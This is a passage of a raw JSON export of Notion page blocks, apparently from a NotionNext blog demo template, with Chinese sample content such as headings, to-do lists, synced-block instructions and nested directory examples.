rom_pointer":{"id":"1fb0e452-7d3d-422a-a757-3959676eb0ba","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991031,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705638991031,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"1fb0e452-7d3d-422a-a757-3959676eb0ba"}},"3206c63c-38c9-42a5-9829-1f8a39e6e0eb":{"value":{"id":"3206c63c-38c9-42a5-9829-1f8a39e6e0eb","type":"column_list","content":["1854a9a5-32ae-4877-ab49-d57de0d5354f","5ac99d26-69f6-476c-9824-238bf50d62a7"],"format":{"copied_from_pointer":{"id":"a1a14331-820d-4681-ae01-2c0bc8b48f65","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991039,"last_edited_time":1705638991039,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"a1a14331-820d-4681-ae01-2c0bc8b48f65"}},"c311a2ed-ff9b-41ef-8259-c5d55e7076f6":{"value":{"id":"c311a2ed-ff9b-41ef-8259-c5d55e7076f6","type":"sub_header","properties":{"title":[["6.折叠列表"]]},"format":{"copied_from_pointer":{"id":"ec497fa9-6df4-4927-be6f-0b2fdf07572e","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991043,"last_edited_time":1705638991043,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"ec497fa9-6df4-4927-be6f-0b2fdf07572e"}},"4748bbad-6dc8-4e84-ab43-96c076df3dd2":{"value":{"id":"4748bbad-6dc8-4e84-ab43-96c076df3dd2","type":"toggle","properties":{"title":[["点击展开"]]},"content":["02efa7b3-d1ce-40f7-9a23-f687b0046e4d"],"format":{"copied_from_pointer":{"id":"f8faebbf-cc58-408b-aab9-bd605072a188","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991044,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705638991044,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"f8faebbf-cc58-408b-aab9-bd605072a188"}},"b8800b2b-162c-42fa-9302-c258941e9dbf":{"value":{"id":"b8800b2b-162c-42fa-9302-c258941e9dbf","type":"divider","format":{"copied_from_pointer":{"id":"f91777d0-572c-4f2c-9832-b0b44e1f18c6","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991044,"last_edited_time":1705638991044,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"f91777d0-572c-4f2c-9832-b0b44e1f18c6"}},"3f939f7e-4387-4bf1-9fb0-d1b17a08ec88":{"value":{"id":"3f939f7e-4387-4bf1-9fb0-d1b17a08ec88","type":"text","format":{"copied_from_pointer":{"id":"4c93f841-35ad-4698-9db7-607a81818ec5","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991034,"last_edited_time":1705638991034,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"4c93f841-35ad-4698-9db7-607a81818ec5"}},"180fd5e9-cf79-432d-8d92-894d783e5e00":{"value":{"id":"180fd5e9-cf79-432d-8d92-894d783e5e00","type":"sub_header","properties":{"title":[["8. 同步块 "]]},"format":{"copied_from_pointer":{"id":"08b38d6c-fdfb-4d3a-ad63-65266a9a4bdc","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991029,"last_edited_time":1705638991029,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"08b38d6c-fdfb-4d3a-ad63-65266a9a4bdc"}},"ecc94ae7-f9d8-4d24-bb4d-cf3cd8363c26":{"value":{"id":"ecc94ae7-f9d8-4d24-bb4d-cf3cd8363c26","type":"text","properties":{"title":[["Notion支持将不同页面的块进行同步,即 SyncBlock,以下是来自另一个页面的块:"]]},"format":{"copied_from_pointer":{"id":"f8d88781-8c5b-42e5-bd0b-ffe89cc9037e","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991044,"last_edited_time":1705638991044,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"f8d88781-8c5b-42e5-bd0b-ffe89cc9037e"}},"3fba972c-29f1-458a-a947-7d8aa18f79e6":{"value":{"id":"3fba972c-29f1-458a-a947-7d8aa18f79e6","type":"transclusion_reference","format":{"copied_from_pointer":{"id":"3ec36561-9537-4719-8f9c-34f7ddf381f5","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"transclusion_reference_pointer":{"id":"77239aff-d7f9-46c1-a865-bf5f8c778674","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991033,"last_edited_time":1705638991033,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"3ec36561-9537-4719-8f9c-34f7ddf381f5"}},"7050f906-9255-4e76-840e-000da98df97d":{"value":{"id":"7050f906-9255-4e76-840e-000da98df97d","type":"callout","properties":{"title":[["注意",[["h","red_background"]]],[" : 同步块的使用条件是源页面也要被"],["开放共享",[["b"]]],[" ,否则NotionNext将无权访问,页面上会被忽略渲染。"]]},"content":["50755cdd-c61c-4731-a86e-c393efeb6d3e"],"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"85c3d346-dbda-4f2b-b17e-67c7223e80b9","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991038,"last_edited_time":1705638991038,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"85c3d346-dbda-4f2b-b17e-67c7223e80b9"}},"eb25cdb8-697c-4b55-a556-e416f9ecdbfb":{"value":{"id":"eb25cdb8-697c-4b55-a556-e416f9ecdbfb","type":"text","format":{"copied_from_pointer":{"id":"0f6131b5-59f8-4b3d-811d-cb5cb7330590","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991029,"last_edited_time":1705638991029,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"0f6131b5-59f8-4b3d-811d-cb5cb7330590"}},"b4f0f638-f797-4040-9600-f5576c4520be":{"value":{"id":"b4f0f638-f797-4040-9600-f5576c4520be","type":"header","properties":{"title":[["多级目录"]]},"format":{"copied_from_pointer":{"id":"59d21e39-f7b2-419c-bf18-dee5bc2d01ea","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991035,"last_edited_time":1705638991035,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"59d21e39-f7b2-419c-bf18-dee5bc2d01ea"}},"4038cfa4-b79f-4562-b5d8-9ed98addba56":{"value":{"id":"4038cfa4-b79f-4562-b5d8-9ed98addba56","type":"text","properties":{"title":[["heading标题在博客中自动转为目录"]]},"format":{"copied_from_pointer":{"id":"9047c555-5912-403a-8de0-2ec80ccc25a2","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991039,"last_edited_time":1705638991039,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"9047c555-5912-403a-8de0-2ec80ccc25a2"}},"c32fcf2f-d00c-4555-b1f9-1e0cecdf2956":{"value":{"id":"c32fcf2f-d00c-4555-b1f9-1e0cecdf2956","type":"column_list","content":["f8396978-e681-4406-9a4e-d42c568575be","10a71b93-15b6-4dc7-9f1e-3bd3f20cd257"],"format":{"copied_from_pointer":{"id":"9a38137c-8b87-4a32-94ae-4fa556f0470a","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991039,"last_edited_time":1705638991039,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"9a38137c-8b87-4a32-94ae-4fa556f0470a"}},"3ccfd881-f68a-446b-b9e3-ad394ab9d36f":{"value":{"id":"3ccfd881-f68a-446b-b9e3-ad394ab9d36f","type":"sub_header","properties":{"title":[["二级目录3"]]},"format":{"copied_from_pointer":{"id":"19383acf-0337-4fa1-82d3-b6785c6af8b7","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991030,"last_edited_time":1705638991030,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"19383acf-0337-4fa1-82d3-b6785c6af8b7"}},"522cceae-719e-47fe-880a-29732a5e4ca5":{"value":{"id":"522cceae-719e-47fe-880a-29732a5e4ca5","type":"column_list","content":["24a21de2-667a-43cd-930a-33507a87774b","d1f54f28-cf6e-4ce0-bbf2-69726a858083"],"format":{"copied_from_pointer":{"id":"140ac967-244b-435d-87ae-fcd881bba04f","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991030,"last_edited_time":1705638991030,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"140ac967-244b-435d-87ae-fcd881bba04f"}},"150b9807-a36f-45eb-9892-d9f6a0f1db56":{"value":{"id":"150b9807-a36f-45eb-9892-d9f6a0f1db56","type":"sub_header","properties":{"title":[["多级列表"]]},"format":{"copied_from_pointer":{"id":"67c0f7b6-58f8-4462-85e3-e7aef4174ece","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991036,"last_edited_time":1705638991036,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"67c0f7b6-58f8-4462-85e3-e7aef4174ece"}},"42ab1b80-3546-4a53-a9ca-bb98d854e4c3":{"value":{"id":"42ab1b80-3546-4a53-a9ca-bb98d854e4c3","type":"bulleted_list","properties":{"title":[["事物的必然性"]]},"format":{"copied_from_pointer":{"id":"d23a5aa6-7935-4587-90c5-44ed9381c19a","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991042,"last_edited_time":1705638991042,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"d23a5aa6-7935-4587-90c5-44ed9381c19a"}},"fd0213c3-3749-4192-9153-a4ed99862478":{"value":{"id":"fd0213c3-3749-4192-9153-a4ed99862478","type":"numbered_list","properties":{"title":[["事物按规律变化,也有一种不可避免的性质.这种性质就叫做"],["必然性",[["b"]]]]},"content":["0088bfb9-cb4d-4598-ae75-0e3730f9396d","ff13eaa4-36e2-48b8-93f0-a2e2d69c57f8"],"format":{"copied_from_pointer":{"id":"48ec22be-2c13-4dd5-b4c7-e0ca8401f475","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991034,"last_edited_time":1705638991034,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"48ec22be-2c13-4dd5-b4c7-e0ca8401f475"}},"0186f962-3e26-4d4c-94ac-91763ada0633":{"value":{"id":"0186f962-3e26-4d4c-94ac-91763ada0633","type":"header","properties":{"title":[["模板使用说明"]]},"format":{"copied_from_pointer":{"id":"f39623e6-3751-4a0d-9ce9-f2eb40146491","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991043,"last_edited_time":1705638991043,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"f39623e6-3751-4a0d-9ce9-f2eb40146491"}},"7d0286ac-a9d7-4830-af71-ef7b45c2f171":{"value":{"id":"7d0286ac-a9d7-4830-af71-ef7b45c2f171","type":"text","properties":{"title":[["若要部署你的NotionNext项目,请复制该模板,并按照模板格式创建文章:"]]},"format":{"copied_from_pointer":{"id":"e9273669-ed36-451d-a3f9-787837fb8386","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991042,"last_edited_time":1705638991042,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"e9273669-ed36-451d-a3f9-787837fb8386"}},"1854a9a5-32ae-4877-ab49-d57de0d5354f":{"value":{"id":"1854a9a5-32ae-4877-ab49-d57de0d5354f","type":"column","content":["245c6b1d-d615-4cce-ad98-1e9e9a3d331b","3a656978-d031-4237-bd2f-3e13591e4d3c","9f0dc72c-1ec1-4c87-a878-b1f7ebeb92da"],"format":{"column_ratio":0.5,"copied_from_pointer":{"id":"d3738c0d-47d6-443e-8bfe-38f2ec3dfddd","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991052,"last_edited_time":1705638991052,"parent_id":"3206c63c-38c9-42a5-9829-1f8a39e6e0eb","parent_table":"block","alive":true,"copied_from":"d3738c0d-47d6-443e-8bfe-38f2ec3dfddd"}},"5ac99d26-69f6-476c-9824-238bf50d62a7":{"value":{"id":"5ac99d26-69f6-476c-9824-238bf50d62a7","type":"column","content":["3ba35f4a-aa14-47ea-b6d7-69a9ac005410","1b93f241-5182-4114-9004-5d24d8327db2","53f53d16-5518-4b72-a684-a286d2c14394"],"format":{"column_ratio":0.5,"copied_from_pointer":{"id":"12ac700a-7512-4b69-bf45-d295519e9d71","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991052,"last_edited_time":1705638991052,"parent_id":"3206c63c-38c9-42a5-9829-1f8a39e6e0eb","parent_table":"block","alive":true,"copied_from":"12ac700a-7512-4b69-bf45-d295519e9d71"}},"245c6b1d-d615-4cce-ad98-1e9e9a3d331b":{"value":{"id":"245c6b1d-d615-4cce-ad98-1e9e9a3d331b","type":"text","properties":{"title":[["家庭"]]},"format":{"block_color":"teal_background","copied_from_pointer":{"id":"126f0aa9-ab3b-4f6e-adf3-4a8c3805a774","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991056,"last_edited_time":1705638991056,"parent_id":"1854a9a5-32ae-4877-ab49-d57de0d5354f","parent_table":"block","alive":true,"copied_from":"126f0aa9-ab3b-4f6e-adf3-4a8c3805a774"}},"3a656978-d031-4237-bd2f-3e13591e4d3c":{"value":{"id":"3a656978-d031-4237-bd2f-3e13591e4d3c","type":"to_do","properties":{"title":[["洗衣"]]},"format":{"copied_from_pointer":{"id":"87a09476-499e-46ea-a2bc-7283fb7b3d1b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991056,"last_edited_time":1705638991056,"parent_id":"1854a9a5-32ae-4877-ab49-d57de0d5354f","parent_table":"block","alive":true,"copied_from":"87a09476-499e-46ea-a2bc-7283fb7b3d1b"}},"9f0dc72c-1ec1-4c87-a878-b1f7ebeb92da":{"value":{"id":"9f0dc72c-1ec1-4c87-a878-b1f7ebeb92da","type":"to_do","properties":{"title":[["做饭"]]},"format":{"copied_from_pointer":{"id":"6184f41c-24af-490e-8be2-aa71ad46263c","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991056,"last_edited_time":1705638991056,"parent_id":"1854a9a5-32ae-4877-ab49-d57de0d5354f","parent_table":"block","alive":true,"copied_from":"6184f41c-24af-490e-8be2-aa71ad46263c"}},"3ba35f4a-aa14-47ea-b6d7-69a9ac005410":{"value":{"id":"3ba35f4a-aa14-47ea-b6d7-69a9ac005410","type":"text","properties":{"title":[["事业"]]},"format":{"block_color":"blue_background","copied_from_pointer":{"id":"1161379f-cc6a-4dfd-a912-5b26b17c3ed3","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991054,"last_edited_time":1705638991054,"parent_id":"5ac99d26-69f6-476c-9824-238bf50d62a7","parent_table":"block","alive":true,"copied_from":"1161379f-cc6a-4dfd-a912-5b26b17c3ed3"}},"1b93f241-5182-4114-9004-5d24d8327db2":{"value":{"id":"1b93f241-5182-4114-9004-5d24d8327db2","type":"to_do","properties":{"title":[["开会"]]},"format":{"copied_from_pointer":{"id":"df478f02-d6b2-4433-8ab2-88e1c1c064b9","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991054,"last_edited_time":1705638991054,"parent_id":"5ac99d26-69f6-476c-9824-238bf50d62a7","parent_table":"block","alive":true,"copied_from":"df478f02-d6b2-4433-8ab2-88e1c1c064b9"}},"53f53d16-5518-4b72-a684-a286d2c14394":{"value":{"id":"53f53d16-5518-4b72-a684-a286d2c14394","type":"to_do","properties":{"title":[["加班"]]},"format":{"copied_from_pointer":{"id":"cb126b10-5f42-4f30-9755-7b03ee8f0654","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991054,"last_edited_time":1705638991054,"parent_id":"5ac99d26-69f6-476c-9824-238bf50d62a7","parent_table":"block","alive":true,"copied_from":"cb126b10-5f42-4f30-9755-7b03ee8f0654"}},"77239aff-d7f9-46c1-a865-bf5f8c778674":{"value":{"id":"77239aff-d7f9-46c1-a865-bf5f8c778674","type":"transclusion_container","content":["1011ab97-eb40-4c4e-ad98-1e7459e67c8e"],"created_time":1666242600000,"last_edited_time":1666242600000,"parent_id":"da988857-3ba9-4a63-9731-e849beb46705","parent_table":"block","alive":true}},"da988857-3ba9-4a63-9731-e849beb46705":{"value":{"id":"da988857-3ba9-4a63-9731-e849beb46705","type":"page","properties":{"NX\\Q":[["‣",[["d",{"type":"date","start_date":"2021-11-05"}]]]],"`gQ~":[["Post"]],"bB{M":[[""]],"d]hq":[["invisible"]],"sD^m":[[""]],"wz|S":[["状态不是"],["Published",[["c"]]],[",故不会被显示"]],"title":[["未发布文章"]],"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":[["Invisible"]]},"content":["77239aff-d7f9-46c1-a865-bf5f8c778674","6697ac70-8b8b-44f0-997d-c82167c5df60"],"format":{"page_font":"serif","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"a6271da0-6b8f-47a3-9735-e8fa770f1d9f","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"page_cover_position":0.5},"created_time":1666241740033,"last_edited_time":1714457575347,"parent_id":"4379bc14-5d22-453b-a153-12639616fc01","parent_table":"collection","alive":true,"copied_from":"a6271da0-6b8f-47a3-9735-e8fa770f1d9f"}},"02ab3b86-7800-4aa6-9e9e-415905ef32a5":{"value":{"id":"02ab3b86-7800-4aa6-9e9e-415905ef32a5","type":"collection_view_page","content":["254eced8-9cba-4f90-9990-a885bd567dd0"],"view_ids":["b7eb2157-2022-4ca5-827b-faa5ef82cf2d","e17348d8-5a80-4f02-813c-025b790d16c8","5010afdb-92b5-4f49-958b-0b8c900d6190","a80c22ef-8b56-410d-af06-07615c5f2654"],"collection_id":"4379bc14-5d22-453b-a153-12639616fc01","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"4379bc14-5d22-453b-a153-12639616fc01","table":"collection","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"copied_from_pointer":{"id":"bee1fccf-a3bd-47a1-a7be-83cc71372d83","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"27074aef-7216-41ed-baef-d9b53addd870"},{"role":"reader","type":"public_permission","added_timestamp":1681797627522}],"created_time":1636081968996,"last_edited_time":1718423791707,"parent_id":"8991aef4-e3d8-4f18-9a70-d447fe4d47c7","parent_table":"block","alive":true,"copied_from":"bee1fccf-a3bd-47a1-a7be-83cc71372d83","file_ids":["abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","29db38d2-d5fa-4fa6-8a92-3b527cfe80d1"]}},"8991aef4-e3d8-4f18-9a70-d447fe4d47c7":{},"6b25c0c0-5330-4883-8835-eeb44bacfb48":{},"1011ab97-eb40-4c4e-ad98-1e7459e67c8e":{"value":{"id":"1011ab97-eb40-4c4e-ad98-1e7459e67c8e","type":"text","properties":{"title":[["【sync-block】这是一段来自示例文章-3的段落 ,通过 SyncBlock同步。"]]},"created_time":1666242540000,"last_edited_time":1666242660000,"parent_id":"77239aff-d7f9-46c1-a865-bf5f8c778674","parent_table":"block","alive":true}},"50755cdd-c61c-4731-a86e-c393efeb6d3e":{"value":{"id":"50755cdd-c61c-4731-a86e-c393efeb6d3e","type":"image","properties":{"size":[["33.2KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e078a58d-d9a8-48ac-8489-34d9d71b03c8/Untitled.png"]]},"format":{"block_width":528,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e078a58d-d9a8-48ac-8489-34d9d71b03c8/Untitled.png","block_full_width":false,"block_page_width":false,"block_aspect_ratio":0.13596491228070176,"copied_from_pointer":{"id":"23f23ef1-d518-44aa-9439-4a06d7774a8c","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"block_preserve_scale":true},"created_time":1705638991051,"last_edited_time":1705638991051,"parent_id":"7050f906-9255-4e76-840e-000da98df97d","parent_table":"block","alive":true,"copied_from":"23f23ef1-d518-44aa-9439-4a06d7774a8c","file_ids":["e078a58d-d9a8-48ac-8489-34d9d71b03c8"]}},"f8396978-e681-4406-9a4e-d42c568575be":{"value":{"id":"f8396978-e681-4406-9a4e-d42c568575be","type":"column","content":["d9b63a2a-2e86-4326-98e0-d429b1f7ae7e","c011c17a-60a6-42d8-acb3-af36dfdadb20"],"format":{"column_ratio":0.5,"copied_from_pointer":{"id":"4bc8f508-ab28-4db4-9aa8-d8a0d9c203c4","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991052,"last_edited_time":1705638991052,"parent_id":"c32fcf2f-d00c-4555-b1f9-1e0cecdf2956","parent_table":"block","alive":true,"copied_from":"4bc8f508-ab28-4db4-9aa8-d8a0d9c203c4"}},"10a71b93-15b6-4dc7-9f1e-3bd3f20cd257":{"value":{"id":"10a71b93-15b6-4dc7-9f1e-3bd3f20cd257","type":"column","content":["22f6632d-d065-4f58-980a-4649c4298727","84010516-7c17-45fd-857c-cb76847b00c3"],"format":{"column_ratio":0.5,"copied_from_pointer":{"id":"eef90ab9-1637-4c64-bb9d-55930dffc9a0","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991052,"last_edited_time":1705638991052,"parent_id":"c32fcf2f-d00c-4555-b1f9-1e0cecdf2956","parent_table":"block","alive":true,"copied_from":"eef90ab9-1637-4c64-bb9d-55930dffc9a0"}},"d9b63a2a-2e86-4326-98e0-d429b1f7ae7e":{"value":{"id":"d9b63a2a-2e86-4326-98e0-d429b1f7ae7e","type":"sub_header","properties":{"title":[["二级目录1"]]},"format":{"copied_from_pointer":{"id":"76620351-2ca1-41b9-bb99-7fec05c79547","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991054,"last_edited_time":1705638991054,"parent_id":"f8396978-e681-4406-9a4e-d42c568575be","parent_table":"block","alive":true,"copied_from":"76620351-2ca1-41b9-bb99-7fec05c79547"}},"c011c17a-60a6-42d8-acb3-af36dfdadb20":{"value":{"id":"c011c17a-60a6-42d8-acb3-af36dfdadb20","type":"text","properties":{"title":[["二级内容 1"]]},"format":{"copied_from_pointer":{"id":"49eadcd1-e430-4156-b88e-15cf6cfe1f8e","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991054,"last_edited_time":1705638991054,"parent_id":"f8396978-e681-4406-9a4e-d42c568575be","parent_table":"block","alive":true,"copied_from":"49eadcd1-e430-4156-b88e-15cf6cfe1f8e"}},"22f6632d-d065-4f58-980a-4649c4298727":{"value":{"id":"22f6632d-d065-4f58-980a-4649c4298727","type":"sub_header","properties":{"title":[["二级目录2"]]},"format":{"copied_from_pointer":{"id":"5f4af335-b79a-47ab-b0a7-ff15268af561","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991056,"last_edited_time":1705638991056,"parent_id":"10a71b93-15b6-4dc7-9f1e-3bd3f20cd257","parent_table":"block","alive":true,"copied_from":"5f4af335-b79a-47ab-b0a7-ff15268af561"}},"84010516-7c17-45fd-857c-cb76847b00c3":{"value":{"id":"84010516-7c17-45fd-857c-cb76847b00c3","type":"text","properties":{"title":[["二级内容2"]]},"format":{"copied_from_pointer":{"id":"612c658b-88d9-45bf-ad3e-c05c30b05045","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991056,"last_edited_time":1705638991056,"parent_id":"10a71b93-15b6-4dc7-9f1e-3bd3f20cd257","parent_table":"block","alive":true,"copied_from":"612c658b-88d9-45bf-ad3e-c05c30b05045"}},"24a21de2-667a-43cd-930a-33507a87774b":{"value":{"id":"24a21de2-667a-43cd-930a-33507a87774b","type":"column","content":["360a1985-e525-4b4c-b2a5-4bf8a562ddaa","1399dc70-c071-48a7-8eaa-e90e24fd1d82"],"format":{"column_ratio":0.5,"copied_from_pointer":{"id":"13dd7205-04d9-419e-89cc-68ea0105327b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991045,"last_edited_time":1705638991045,"parent_id":"522cceae-719e-47fe-880a-29732a5e4ca5","parent_table":"block","alive":true,"copied_from":"13dd7205-04d9-419e-89cc-68ea0105327b"}},"d1f54f28-cf6e-4ce0-bbf2-69726a858083":{"value":{"id":"d1f54f28-cf6e-4ce0-bbf2-69726a858083","type":"column","content":["3bb570e1-4846-4ef2-87a6-937dbe4cad6c","666dd094-fafb-4f8a-bb0a-057bb2cbf618"],"format":{"column_ratio":0.5,"copied_from_pointer":{"id":"72aaf179-5b36-4571-9a8d-1aeff2588a75","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991045,"last_edited_time":1705638991045,"parent_id":"522cceae-719e-47fe-880a-29732a5e4ca5","parent_table":"block","alive":true,"copied_from":"72aaf179-5b36-4571-9a8d-1aeff2588a75"}},"360a1985-e525-4b4c-b2a5-4bf8a562ddaa":{"value":{"id":"360a1985-e525-4b4c-b2a5-4bf8a562ddaa","type":"sub_sub_header","properties":{"title":[["三级目录3.1"]]},"format":{"copied_from_pointer":{"id":"9d91f3d6-d3b7-4601-8bac-d18971ff891f","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991054,"last_edited_time":1705638991054,"parent_id":"24a21de2-667a-43cd-930a-33507a87774b","parent_table":"block","alive":true,"copied_from":"9d91f3d6-d3b7-4601-8bac-d18971ff891f"}},"1399dc70-c071-48a7-8eaa-e90e24fd1d82":{"value":{"id":"1399dc70-c071-48a7-8eaa-e90e24fd1d82","type":"text","properties":{"title":[["不同级别的heading代表不同级别的目录"]]},"format":{"copied_from_pointer":{"id":"996a7ca4-f57c-4dc5-95cc-5f515aae299b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991054,"last_edited_time":1705638991054,"parent_id":"24a21de2-667a-43cd-930a-33507a87774b","parent_table":"block","alive":true,"copied_from":"996a7ca4-f57c-4dc5-95cc-5f515aae299b"}},"3bb570e1-4846-4ef2-87a6-937dbe4cad6c":{"value":{"id":"3bb570e1-4846-4ef2-87a6-937dbe4cad6c","type":"sub_sub_header","properties":{"title":[["三级目录3.2"]]},"format":{"copied_from_pointer":{"id":"0a68beb3-8941-4de4-957e-4f067eb1c839","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991055,"last_edited_time":1705638991055,"parent_id":"d1f54f28-cf6e-4ce0-bbf2-69726a858083","parent_table":"block","alive":true,"copied_from":"0a68beb3-8941-4de4-957e-4f067eb1c839"}},"666dd094-fafb-4f8a-bb0a-057bb2cbf618":{"value":{"id":"666dd094-fafb-4f8a-bb0a-057bb2cbf618","type":"text","properties":{"title":[["高一级目录嵌套低一级目录"]]},"format":{"copied_from_pointer":{"id":"15dfbb2d-70ab-47bc-bf01-bd27d1edfdc7","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991055,"last_edited_time":1705638991055,"parent_id":"d1f54f28-cf6e-4ce0-bbf2-69726a858083","parent_table":"block","alive":true,"copied_from":"15dfbb2d-70ab-47bc-bf01-bd27d1edfdc7"}},"0088bfb9-cb4d-4598-ae75-0e3730f9396d":{"value":{"id":"0088bfb9-cb4d-4598-ae75-0e3730f9396d","type":"numbered_list","properties":{"title":[["事物的必然性,是事物本身的性质(我们反对宿命论的是其认为这一切是受神明的支配,而不是反对事物发展中存在的不可避免的性质的事实)"]]},"content":["59e81d6f-cd4d-41ef-b5eb-34c35a923f75","041c0475-c611-48d7-81b0-d2f014771748"],"format":{"copied_from_pointer":{"id":"5482440b-ad3a-4